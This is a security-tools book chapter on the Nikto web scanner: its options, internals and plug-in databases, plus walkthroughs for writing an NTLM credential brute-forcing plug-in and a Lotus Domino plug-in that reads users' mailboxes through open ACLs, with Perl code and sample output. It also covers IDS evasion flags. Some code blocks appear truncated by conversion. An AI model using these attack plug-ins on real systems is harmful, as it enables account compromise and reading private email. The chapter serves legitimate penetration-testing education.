Network Security Tools/Modifying and Hacking Security Tools/Writing Plug-ins for the Nikto Vulnerability Scanner

From WikiContent

Jump to: navigation, search
(Initial conversion from Docbook)
Current revision (22:54, 11 March 2008) (edit) (undo)
(Initial conversion from Docbook)

Current revision

Network Security Tools

Nikto is one of a number of open source security tools available to consultants and administrators. Nikto is a web server scanner, but it also can be used as a CGI scanner. Its purpose is to conduct a series of tests against a web server and to report known vulnerabilities in the server and its applications. The Nikto program is Perl code written and maintained by Chris Sullo. Nikto is regarded as the best in its class, which has earned it the number 16 spot in Fyodor's annual "Top Security Tools" survey, and it is mentioned in numerous books and articles. This chapter will give you an overview of the tool and explain how to extend it by writing your own code in the form of plug-ins and plug-in database entries.


Installing Nikto

Nikto is available on its author's web site at Download the latest tar.gz file of the Nikto source code. After uncompressing it, execute perl from the command line to see the program's options. This chapter was written using Nikto 1.32 as a reference, but future versions should be very similar, as the core is stable.

To use Nikto you must have a Perl interpreter on your system. If you want to use Nikto's SSL scanning features you must install the SSL software and libraries. You can get these for Windows systems from If you're running Nikto on a Unix-like system, you can get OpenSSL from and the Net::SSLeay module from At its foundation Nikto uses RFP's LibWhisker, which comes bundled with the tar.gz file; optionally you can place Nikto in the Perl library search path.


Nikto runs on a variety of operating systems, including Mac OS X, Solaris, Linux, Windows, and many others, as long as a Perl interpreter is installed on the system.

Using Nikto

Using Nikto is fairly straightforward. The main required arguments are the target host and port against which the scan will be conducted. If no port is specified, port 80 (the default) is used. All command-line options except for -debug, -update, -dbcheck, and -verbose are available by using the first letter as a short-form option. Execute the program with no arguments, and a description of all available options along with module-loading warning messages will be displayed. You'll see the warning messages if support modules such as SSL are not installed correctly.

Here are the options you have available to you:

This allows you to manually set a single CGI directory from which to start all tests. It overrides any of the CGI directory entries made in config.txt. Additionally it accepts the values all or none. all forces the core plug-in to run checks against every CGI directory specified in config.txt. none runs all CGI checks against the webroot (/).
This prints out cookies if the web server attempts to set them.
LibWhisker lets you apply up to nine different URI obfuscation techniques to each request, with the goal of bypassing intrusion detection systems (IDSes) that do strict signature matching and no URI normalization/conversion. After seeing the evasion options by running Nikto with no arguments, specify as many of these numeric options as you want and they will be applied. For example:
$perl ./ -h -e 3489
This does a port scan only; no other checks will be run. If you are port-scanning only, I suggest you use Nmap or some other tool that is dedicated to that task.
This controls the output format when the -output flag is used. Valid values are htm, csv, and txt. If this option is not used, txt will be used as the default output format.
This forces all checks in the scan database to be executed, regardless of web server banner.
Use this to specify the target host or a file that contains target entries in the format Each line should contain one entry; any other command-line options such as -ssl will be applied to all the hosts in the file.
Use this to specify HTTP Basic authentication credentials in the form username:password:realm. The realm is optional.
The mutate options are special, in that each integer placed in these options activates a different "conditional" plug-in. For example, by entering 13 you enable the Mutate and Enum_apache plug-ins.
This avoids hostname DNS lookups.
This specifies an output filename. The default format is plain text.
This is the port the checks will be run against. The default is 80.
This prepends a directory to all requests. This is useful for web servers that are configured to redirect all requests to a static virtual directory.
This forces use of HTTPS. On occasion this option is unreliable. A workaround is to use Nikto in combination with an HTTPS proxy agent such as sslproxy, stunnel, or openssl.
This is the connection timeout (the default is 10 seconds). If you are on a fast link and are scanning a multitude of hosts, lowering this helps to reduce scan time.
This tells Nikto to use the proxy information defined in config.txt, for all requests. At the time of this writing, only HTTP proxies are supported.
This will print the version of all found plug-ins and databases.
This sets the virtual host that will be used for the HTTP Host header. This is crucial when scanning a domain that is hosted on a server virtually. To get the most coverage you should run a scan against the web server's IP, and against the domain.
This enables debug mode, which outputs a large amount of detail regarding every request and response.
This does a basic syntax-check against the scan_database.db and user_scan_data base.db databases that the main scanning engine uses.
This retrieves and updates databases and plug-ins, getting the latest version from By default Nikto will never automatically download and install updates. It will prompt the user for acknowledgment.
This enables verbose mode.

Nikto Under the Hood

This section traces the logic flow of the entire Nikto program, and discusses the routines available through nikto_core and LibWhisker. The Nikto program structure is modular. Most of Nikto's actual functionality lies within external plug-ins , which you can find in the plugins/ directory where the Nikto source code was uncompressed.


It is a good idea to browse the source of existing plug-ins to better understand how they work. Execute the following Linux command from the Nikto root directory to generate a tag file for the source tree:

find . -name "*.pl" -o -name "*.pm" -o -name "*.plugin" | xargs ctags 

Nikto's Program Flow

At 200 lines of code the file is relatively small. The following paragraphs briefly discuss what the program does on a macro level.

At the start of the program, you'll notice a series of global variables. To avoid namespace collisions, plug-in developers shouldn't use these variable names. Next, load_configs( ) parses the configuration file config.txt and initializes %CONFIG. Then the find_plugins( ) routine searches expected directories for the plug-in file, and sets appropriate values in %FILES. The nikto_core plug-in and LibWhisker are included with the require keyword, which makes all routines from and nikto_core.plugin available to the rest of as well as to its plug-ins. The general_config() routine parses the command-line options and sets %CLI appropriately. Next, LibWhisker's http_init_request( ) initializes LibWhisker's %request with default values.

The proxy_setup( ) function sets the appropriate values in %request, depending upon the proxy settings in the configuration file. The open_output() function opens a file handle for writing program output, only if an output file was specified on the command line. Next, set_targets( ) populates %TARGETS with the hostname or IP address of the target, along with specified ports. The load_scan_items( ) function loads the vulnerability checks found from servers.db, scan_database.db, and user_scan_database.db (if the file exists) into global arrays.

Finally, the main loop for the vulnerability checks is reached. For each item in %TARGETS the following actions are taken: first, dump_target_info( ) displays the target information. Next, check_responses( ) verifies that valid and invalid requests return the HTTP status codes 200 and 404. In addition, this function sets any HTTP Basic authentication credentials specified by the user. The check_cgi( ) function is called to verify the existence of common CGI directories (these can be set in the configuration file). The set_scan_items() function is called to process scan db arrays and to perform macro replacement on the checks. Next, run_plugins( ) is called to execute the plug-ins on the current target host and port. Finally, test_target( ) is called to perform the actual checks found in the scan db arrays.

Nikto's Plug-in Interface

Nikto's plug-in interface is relatively simple. The plug-ins are Perl programs executed by Nikto's run_plugins( ) function. For a plug-in to be executed correctly, it must meet three requirements. First, the plug-in file should use the naming convention nikto_ foo .plugin, where foo is the name of the plug-in. Second, the plug-in should have an initialization routine with the same name as the plug-in. And third, the plug-in should have an entry in the file nikto_plugin_order.txt. This file controls which plug-ins run, and in what order. As an example, a line could be added to the file that simply states nikto_foo. This would call the routine nikto_foo( ) within the file nikto_foo.plugin. To keep the plug-ins portable, you should not use additional modules, but instead copy the needed code into the plug-in itself.

A side effect of the chosen plug-in execution method is that the plug-ins and Nikto share the global namespace. This is why you don't need use statements to access Nikto or LibWhisker routines. This simplifies the plug-ins. Plug-in developers should make sure their variable and routine names don't conflict with any of Nikto's global variables.

Existing Nikto Plug-ins

Now let's examine the plug-ins that come bundled with Nikto. This will help you understand how the existing plug-ins function, before you write your own.

The core plug-in, as the name suggests, contains the core functionality for the main vulnerability-checking routines. These routines are available for use within the rest of the plug-ins. This plug-in and its exported routines were discussed in detail in the previous section.
This plug-in checks whether the web server uses HTTP Basic authentication. If it does, it loads default usernames and passwords and attempts to guess valid credentials.
This plug-in iterates through the returned HTTP headers in the server response and reports back any that are interesting from a security perspective; these include X-Powered-By, Content-Location, Servlet-Engine, and DAAP-Server.
This plug-in retrieves the robots.txt file if it is available and reports back interesting entries, such as Disallow. The robots.txt file is checked by "friendly" web site crawlers to determine if it should follow any rules when crawling the web site.
This plug-in reviews the allowed HTTP methods, as reported via an OPTIONS request to the web server. Dangerous methods include PUT, CONNECT, and DELETE, among others.
This plug-in focuses on the Server HTTP header and uses a "best-guess" parser that determines the web server version, then checks that version against a list of up-to-date web server versions found in the outdated.db file.
As with the nikto_outdated plug-in, this plug-in focuses on the Server HTTP header but it uses the web server version to determine if there are any version-specific security warnings.
This plug-in checks to see if the UserDir option in Apache, or the equivalent in another web server, is enabled. If this option is enabled, you can enumerate valid system users by generating URIs such as /~root for use in requests.
This plug-in is enabled only if -m 1 is specified on the command line. If the MUTATEDIRS and MUTATEFILES variables are set in Nikto's configuration, each request is mutated three times. The first time is the standard request, the second has the MUTATEDIRS item prepended to the URI, and the third has a MUTATEFILES entry appended to the URI. You should not use this plug-in with its default settings because the mutation engine is extremely slow.
This plug-in is enabled only if -m 2 is specified on the command line. This plug-in has an array of common password filenames such as passwd, .htpasswd, etc. It combines the filenames with common file extensions and directory names to make requests in an attempt to check for files with interesting information (usually credentials). Be aware that using this plug-in with its default settings yields more than 2,000 checks.
This plug-in is enabled only if -m 3 is specified on the command line. This plug-in guesses usernames with the same URI formatting technique as the nikto_apacheusers plug-in. It's not recommend for general use because the default generation engine is set for five-character alphabetic usernames and thus produces 11,881,376 checks.
This plug-in is enabled only if -m 4 is specified on the command line. Its logic is very similar to that of the nikto_user_enum_apache plug-in. The key difference is that this plug-in uses an enumeration technique specific to the CGIWrap program. CGIWrap is a web server extension that allows for better security by running CGI scripts as the user that created them instead of as the web server user. The plug-in generates URIs such as /cgi-bin/cgiwrap/userguess. Keeping in mind that the username generation routine is the same as in nikto_user_enum_apache, the same warnings apply.

Adding Custom Entries to the Plug-in Databases

A key advantage of many plug-ins is that you can extend them via their .db data driver files. The msgs, outdated, realms, and core plug-ins all use .db files as their signature database. Because each plug-in functions differently and has unique requirements for data input, the syntax of each .db file is different. The one common thread among them is that they all use the Comma Separated Value (CSV) format. All of the Nikto plug-ins use the parse_csv( ) routine from the core plug-in to convert each line of the .db file into an array.

.db Files Associated with the nikto_core Plug-in

The nikto_core plug-in uses servers.db to categorize a target based on its Server: header. The file contains categories of web servers and regular expressions that map to them. To limit testing time and false positives, Nikto uses the function get_banner() to retrieve the Server: banner and then sets the appropriate server category using the function set_server_cats( ) . The scan_database.db file and the optional user_scan_database.db file are the driver files for the main checks launched from nikto_core.plugin and they share the same syntax. The line syntax is as follows:

[Server category], [URI], [Status Code /Search Text ], [HTTP Method], [Message]
"iis","/","Length Required","SEARCH","WebDAV is installed.\n";
"cern","/.www_acl","200","GET","Contains authorization information"
"generic","/cfdocs/examples/httpclient/mainframeset.cfm","200!not found","GET", 
    "This might be interesting"

The first entry of the first line is the server category—in this case, iis. Once the category has been determined, only checks of this type will be run against it, unless the -generic command-line option is specified. This will reduce total scan time and false positives. The second entry of the first line is the URI requested. The third entry is the text Nikto will look for in the response. If the text is found, the check will register as a vulnerability and will display the appropriate output to the user. You can specify both the status code and search text using ! as the separator. The fourth entry is the HTTP method that will be used in the request. Typically this will be GET or POST. The fifth entry is the message Nikto should print if the check succeeds.

Note that the check on the first and second lines is similar, except that on the second line the "search text" field is an HTTP response code. If Nikto sees a number in this field, it assumes the number is a response code. The check succeeds if the actual response code matches the check. You can see a variation of this in the "search text" entry on the third line. The third line specifies a response code to look for and search text to match against. The check will be successful if the response code is 200 and the returned page does not contain the string not found (case-sensitive). Look at the following log of the third check. Because the response code was 404 and not 200 the check is known to have failed.

REQUEST: **************
GET /cfdocs/examples/httpclient/mainframeset.cfm HTTP/1.1\r\n
RESPONSE: **************
HTTP/1.1 404 Not Found\r\n
Date: Tue, 08 Jun 2004 23:58:30 GMT\r\n
Server: Apache/1.3.19 (QNX) PHP/4.1.3 mod_ssl/2.6.4 OpenSSL/0.9.6c\r\n
Transfer-Encoding: chunked\r\n
Content-Type: text/html; charset=iso-8859-1\r\n
TITLE>404 Not Found</TITLE>\n</HEAD><BODY>\n<H1>Not Found</
H1>\nThe requested URL / cfdocs/examples/httpclient/mainframeset.cfm was not found 
on this server.<P>\n</BODY></HTML>\n

outdated.db for the nikto_outdated Plug-in

The nikto_outdated plug-in, as the name suggests, checks the version of the web server as given by the Server: header to determine if it is outdated. It does this by comparing the retrieved banner to the versions in the outdated.db file. It's important to note that web servers vary in terms of how they announce themselves in the Server: header. It's easy for us to see that Apache/1.3.26-WebDav and apache-1.3.26 php/4.3.1 represent the same version of the Apache web server, but it's challenging for the scanner to see this. The nikto_outdated plug-in tries to take a best guess as to what the separators are (a space, /, -, etc.) and then translates alphabetic characters to their equivalent ASCII ordinals (as in the debug output a few paragraphs down).

The syntax of outdated.db is as follows:

[Web Server Banner], [Current Version], [Display Message]

"Apache/","Apache/2.0.47","@RUNNING_VER appears to be outdated (current is at least
    @CURRENT_VER). Apache 1.3.28 is still maintained and considered secure."

The first entry is the string the plug-in matches on to determine if the current line's checks should be run. The second entry is the version of the web server that is considered up-to-date. The third entry is the message displayed if the version is outdated. The @RUNNING_VER and @CURRENT_VER tokens will be replaced with the strings that their names suggest.

The logic flow of the plug-in is best illustrated by putting the program in debug mode using the -debug flag. The debug output shows the plug-in has correctly chosen the / character as a separator to be used in parsing the web server banner. Then it goes on to parse out the version (what Nikto calls numberifcation), and finally it checks major and minor versions of the running version on the target to the Current Version and prints out the Display Message string if the version is outdated.

D: nikto_outdated.plugin: verstring: Apache/, sepr:/
D: nikto_outdated.plugin: $CURRENT:apache/2.0.47:$RUNNING:apache/1.3.29:
D: nikto_outdated.plugin: $CURRENT:2.0.47:$RUNNING:1.3.29: (after numberifcation)
D: nikto_outdated.plugin: major compare: $CUR[0]:2: $RUN[0]:1:
+ Apache/1.3.29 appears to be outdated (current is at least Apache/2.0.47). 
  Apache 1.3.28 is still maintained and considered secure.

realms.db for the nikto_realms Plug-in

The realms.db file contains the entries to drive the attacks that the nitko_realms plug-in attempts against a server's Basic Auth HTTP authorization.

The syntax is as follows:

[Realm], [Username], [Password],[Success Message]
"@ANY","test","test","Generic account discovered."
"ConfigToolPassword",,,"Realm matches a Nokia Checkpoint Firewall-1"

The plug-in checks to see if the realm is matched, and if so, it attempts to authenticate using the Username and Password. On success the message is displayed to the user. The entry @ANY is a wildcard that matches all realms.

server_msgs.db for the nikto_msgs Plug-in

The nikto_msgs plug-in performs matches on the web server banner. If a certain version is found, it will display the corresponding message. One of the benefits of the plug-in's .db file syntax is that it uses Perl regular expressions to match on the banner.

The syntax for server_msgs.db is as follows:

[Web Server RegEx], [Success Message]

"Apache\/2\.0\.4[0-5]","Apache versions 2.0.40 through 2.0.45 are vulnerable to a DoS 
in basic authentication. CAN-2003-0189."

Using LibWhisker

LibWhisker is the Perl module Nikto relies on for its core functionality. At the time of this writing, the current Nikto version ships with LibWhisker 1.7. In general you will not need to use more than a handful of LibWhisker routines. Keep in mind they are all available and have very powerful features, such as crawling, NT Lan Man (NTLM) authentication support, hashing, and encoding. The names of the 69 exported routines are detailed here to help you understand the kind of functionality they provide. You can generate a very detailed manual of these routines from LibWhisker itself. To do this, uncompress LibWhisker and run the following commands:

$cd libwhisker-1.8/scripts/
$perl < ../ > LW.pod.htm

Here are the routines LibWhisker exports:

anti_ids forms_read multipart_setfile
auth_brute_force forms_write multipart_write
auth_set_header get_page ntlm_client
bruteurl get_page_hash ntlm_new
cookie_get get_page_to_file upload_file
cookie_parse html_find_tags utils_absolute_uri
cookie_read http_do_request utils_array_shuffle
cookie_set http_do_request_ex utils_find_lowercase_key
cookie_write http_fixup_request utils_get_dir
crawl http_init_request utils_getline
crawl_get_config http_reset utils_getline_crlf
crawl_set_config md4 utils_getopts
decode_base64 md4_perl utils_join_uri
decode_base64_perl md5 utils_lowercase_hashkeys
do_auth md5_perl utils_lowercase_heades
download_file multipart_boundary utils_normalize_uri
dumper multipart_files_list utils_port_open
dumper_writefile multipart_get utils_randstr
encode_base64 multipart_getfile utils_recperm
encode_base64_perl multipart_params_list utils_save_page
encode_str2ruri multipart_read utils_split_uri
encode_str2uri multipart_read_data utils_text_wrapper
encode_unicode multipart_set utils_unidecode_ur

In addition to the LibWhisker routines, plug-in developers can also use routines provided by the nikto_core plug-in. Many of these routines are meant for one-time use or for internal use only. Here are the common routines from LibWhisker and nikto_core that are frequently used by the existing plug-ins, along with a brief description of each:

This takes two parameters, and an optional third parameter. The first parameter is the full path of a file that is to be requested. The second parameter is the HTTP method to use for the request. The optional third parameter is any POST data for the request. The routine makes an HTTP request and returns two scalars. The first returned value is the response code number and the second is the data returned. This routine will make the request using the LibWhisker parameters set by Nikto, so the host that is currently being scanned is where the request will be sent.
This takes a single string of comma-separated values as a parameter and returns an array of those items without the commas.
This takes one required parameter, and one optional parameter. The required parameter is the string to send to output (output depends on what was specified on the command line). The optional parameter prints only if Nikto is run in verbose or debug mode.
This takes one string parameter, escapes all nonalphanumeric characters in it with the \ character before them, and returns the result.

If you need a higher level of control over the HTTP requests, you can use the LibWhisker routines. The most commonly used routines for plug-ins are summarized next. The LibWhisker request hash $request{'whisker'} has many values you can set to control the request. These should be returned to their original values if they are changed within a plug-in. See the nikto_headers plug-in as an example of how to do this correctly.

This takes two parameters: a request hash and a response hash that will be populated accordingly. An optional third parameter is a LibWhisker configs hash. The routine does the work of the actual HTTP request. It returns 0 on success and a nonzero value on error.
This makes sure the request conforms to the HTTP standard. It should be called immediately prior to http_do_request. It takes the request hash as the only parameter.
This resets internal LibWhisker caches and closes existing connections.
This takes in a URI as a parameter and returns the base directory, similar to the dirname command on Linux systems.
This takes one parameter and corrects any ./ or ../ sequences to get a final, absolute URL.
This sets authorization information in the request hash. It takes four required parameters and one optional parameter. The first parameter is either ntlm or basic, the second is the request hash, the third and fourth are the username and password, and the optional parameter is the domain (for ntlm auth).

Writing an NTLM Plug-in for Brute-Force Testing

Brute-forcing is the common attack technique of repeatedly guessing credentials to authenticate to a remote server. Now that we've covered the basics of what is available for plug-in developers, it's time to create an example plug-in that you can use in a real-life network-penetration test scenario.

Installations of Microsoft's IIS web server are widely deployed. IIS supports two common authentication schemes. The first is Basic authentication, which is a nonencrypted legacy form of authentication to a restricted area (the restricted area is known as a realm). The second is NTLM (NT Lan Man) authentication. NTLM authenticates against existing credentials on the Windows operating system. Our new plug-in, named nikto_ntlm.plugin, guesses credentials against this form of authentication. A possible attack strategy would be to guess NTLM credentials to the domain, and then use these credentials to access another available remote administration—i.e., Terminal Server. The benefit of this strategy is that with NTLM authentication over HTTP you can guess credentials faster than you can with Terminal Server. (In either case it is important to consider account lockout policies.)

First, comment out routines that generate significant traffic. This lets you focus on the specific plug-in when looking through logs and network sniffers during testing. Starting from line 100, our new file that is to be used for plug-in development will look like this:

        dump_target_info( );
        #check_responses( );
        run_plugins( );
        #check_cgi( );
        #set_scan_items( );

        #test_target( );

Our new nikto_plugin_order.txt file for plug-in development will look like this:

# run the plug-ins in the following order


Now we're ready to code the new plug-in. This plug-in's algorithm is similar to the one found in the nikto_realms plug-in, so we'll use this as a model. First, the plug-in should check to see if it's useful for a particular target. Using fetch automatically fills the LibWhisker request hash with the current target host. Nikto will take care of running the plug-in if the user specifies multiple targets. Note the use of $CLI{root} because this comes into play if the user is using the -root command-line option.

sub nikto_ntlm{
 (my $result, my $CONTENT) = fetch("/$CLI{root}/","GET","");
  if (($result{'www-authenticate'} eq "") ||
      ($result{'www-authenticate'} !~ /^ntlm/i)){
      #we don't do anything for these cases
  my @CREDS=load_creds("$NIKTO{plugindir}/ntlm.db");

Next, the CREDS array is populated from the results of load_creds( ) , which is defined outside of nikto_ntlm( ). The load_creds( ) routine parses the ntlm.db file and returns an array of arrays containing the credentials that will be used:

sub load_creds{
  my @CREDS;
  my $FILE=shift;
  open(IN,"<$FILE") || die nprint("Can't open $FILE:$!");
  my @contents=<IN>;

  foreach my $line (@contents) {
    if ($line =~ /^\#/) { next; }
    if ($line =~ /\#/) { $line=~s/\#.*$//; $line=~s/\s+$//; }
    if ($line eq "") { next; }
    my @t=parse_csv($line);
    if($#t == 1){
      nprint("Loaded: $t[0] -- $t[1]","d");
    }elsif($#t == 2){
      nprint("Loaded: $t[2]\\$t[0] -- $t[1]","d");
      nprint("Parse error in ntlm.db[".join(",",@t)."]");
  return @CREDS;

As you do with other plug-ins, you need an easy way to store and edit the input data for the plug-in, and a typical Nikto database file fits this purpose well. The format for our initial test ntlm.db file is as follows:

# format: <Username>,<Password>,[NT Domain]

Now it's time to code the main loop, which will conduct a dictionary-style attack by iterating through the CREDS array and attempting to authenticate with the values from CREDS until it finds a working set of credentials:

  foreach my $i (0 .. $#CREDS){
    nprint("+ trying $CREDS[$i][0] -- $CREDS[$i][1]","v");
    LW::auth_set_header("NTLM",\%request,$CREDS[$i][0],$CREDS[$i][1]);   # set NTLM auth creds
    LW::http_do_request(\%request,\%result); # test auth
    if ($result{'www-authenticate'} eq ""){#found valid credentials
      $VULS++;  #increment nikto's global "vulnerabilities found" counter
        nprint("+ NTLM Auth account found user:$CREDS[$i][2]\\$CREDS[$i][0] pass:$CREDS[$i][1]");
        nprint("+ NTLM Auth account found user:$CREDS[$i][0] pass:$CREDS[$i][1]");
  }#end foreach

When finished, save the file as nikto_ntlm.plugin in the plugins/ directory. Now let's try it out on an example IIS 5.0 server. The output in the following paragraphs is from a server previously scanned with a standard Nikto scan. Nikto reported the "backup" directory as being protected by NTLM authentication. Now try the plug-in using our slightly modified version of Nikto for testing.

C:\tools\nikto_1.32_test>perl -h  -root /backup -verbose
-***** SSL support not available (see docs for SSL install instructions) *****
- Nikto 1.32/1.19     -
V: - Testing open ports for web servers
V: - Checking for HTTP on port
+ Target IP:
+ Target Hostname:
+ Target Port:     80
+ Start Time:      Sun Aug 15 21:55:22 2004
- Scan is dependent on "Server" string which can be faked, use -g to override
+ Server: Microsoft-IIS/5.0
V: + trying admin -- admin
V: + trying administrator -- administrator
V: + trying guest -- guest
V: + trying test -- test
V: + trying testuser -- testpass
V: + trying backup -- backup
+ NTLM Auth account found user:backup pass:backup
+ 1 host(s) tested

Great! Everything seems to work as expected. To use this plug-in as part of the standard Nikto run, uncomment the lines in and revert the plug-in order file, making sure to leave the line for the new plug-in. The plug-in will run only if NTLM authentication is enabled on the web server because a check was added at the top to verify this before the main brute-forcing routine.

Writing a Standalone Plug-in to Attack Lotus Domino

Lotus Domino servers are commonly deployed for directory and email services. Many versions of the Domino web server ship with world-readable database files with the extension .nsf. These files can contain sensitive information such as password hashes, and at the very least they are a source of information leakage. Of particular interest is the names directory database. If read permissions are enabled on this database, a user—even possibly an unauthenticated user—can view configuration information for the Domino server and domain. The list of users and the paths to their email databases is particularly dangerous. Using this information, an attacker can attempt to view an email database file via an HTTP request to the Domino mail server. If the mail database's permissions are incorrect, the attacker will have read access to that user's email via the web browser!

To summarize: combining weak default security permissions with server misconfiguration yields access to a user's email, and in some cases this is possible without authentication.

Using these techniques you can write a Nikto plug-in to exploit these vulnerabilities. This plug-in is going to be different from the other standard Nikto plug-ins because it is intended to work in a standalone manner. The first step in setting it up is to make some of the same modifications to the file that you made for the last plug-in. Comment out test_target(), set_scan_items( ), and check_responses( ) around line 100 in, and nikto_plugin_order.txt will be modified so that the only uncommented entry is nikto_domino.

As you did with the first plug-in, you will use a .db file for the plug-in's data source. As mentioned before, the misconfigured permissions on the names database allow us to view all the users associated with a specific mail server. By using the Java applet menu that appears when names.nsf is loaded, you can navigate to Configuration→ Messaging→ Mail Users, select a mail server that is accessible via HTTP(S), and get a listing of the users and their mail files. By default, only 30 users are listed at a time, but by manipulating the GET parameter Count you can view up to 1,000 users at a time. Use this trick to list large numbers of users per request, and fill the .db file with the informational lines as they are listed in the web browser. When finished, you'll have a list of users, displayed twice per line, along with their mail files. Here are some sample lines from our .db file:

Aaron J Lastname/NA/Manufacturing_Company Aaron J 
Lastname/NA/Manufacturing_Company@Manufacturing_Company mailsrv54\awoestem9011.nsf   
Adam Ant/NA/Manufacturing_Company Adam  
Ant/NA/Manufacturing_Company@Manufacturing_Company mailsrv58\apanzer2315.nsf

Our attack strategy is simple: make an HTTP request to OpenView each user's email database file. If the request succeeds the ACL allows read access; otherwise, the ACL is configured correctly. Our next step is to write a routine to process the .db file and extract the email databases:

sub load_users
 my $AFILE=shift;
 open(IN,"<$AFILE") || die nprint("Can't open $AFILE:$!");
 my @file=<IN>;

 foreach my $line (@file){
  next if ($line eq "");

  my @arr = split(/\s/,$line);
  next if @arr[-1] !~ /\.nsf/i;
  @arr[-1] =~ tr/\x5c/\x2f/;
  push(@MAILFILES, @arr[-1]);
  nprint("Loaded: " . @MAILFILES[-1], "d");
return @MAILFILES;


The load_users( ) routine does some normalization for the path separator and avoids erroneous entries by adding only .nsf entries. Now write the main loop to request the individual mail files:

sub nikto_dominousers
  my @MAILFILES=load_users("$NIKTO{plugindir}/domino.users.db");

  foreach my $USERFILE (@MAILFILES){$Inbox)?OpenView
    ($RES, $CONTENT) = fetch("/$USERFILE".'/($Inbox)?OpenView',"GET","");
    nprint("request for $USERFILE returned $RES","d");
    if( $RES eq 200 ){
      if($CONTENT !~ /No documents found/i){
        nprint("+ Found open ACLs on mail file: ". $USERFILE . " - inbox has contents!");
        nprint("+ Found open ACLs on mail file: ". $USERFILE);

The code is simple and straightforward and relies on the core Nikto routine fetch( ) to do the work. You should notice the regular expression that matches on No documents found. This helps us immediately identify inboxes with unread email. Now the plug-in is complete! Be sure to run it to test it out. The following is an example of the output you can expect to see:

[notroot]$ ./ -h
- Nikto 1.32/1.27     -
+ Target IP:
+ Target Hostname:
+ Target Port:     80
+ Start Time:      Thu Jan 16 17:25:13 2004
- Scan is dependent on "Server" string which can be faked, use -g to override
+ Server: Lotus-Domino
+ Found bad ACLs on mail file: mailsrv54/aodd5221.nsf
+ Found bad ACLs on mail file: mailsrv56/heng3073.nsf
+ Found bad ACLs on mail file: mailsrv54/skape7782.nsf - inbox has contents!
+ Found bad ACLs on mail file: mailsrv58/optyx2673.nsf - inbox has contents!
+ Found bad ACLs on mail file: mailsrv56/iller4302.nsf
+ Found bad ACLs on mail file: mailsrv58/ackie3165.nsf
Personal tools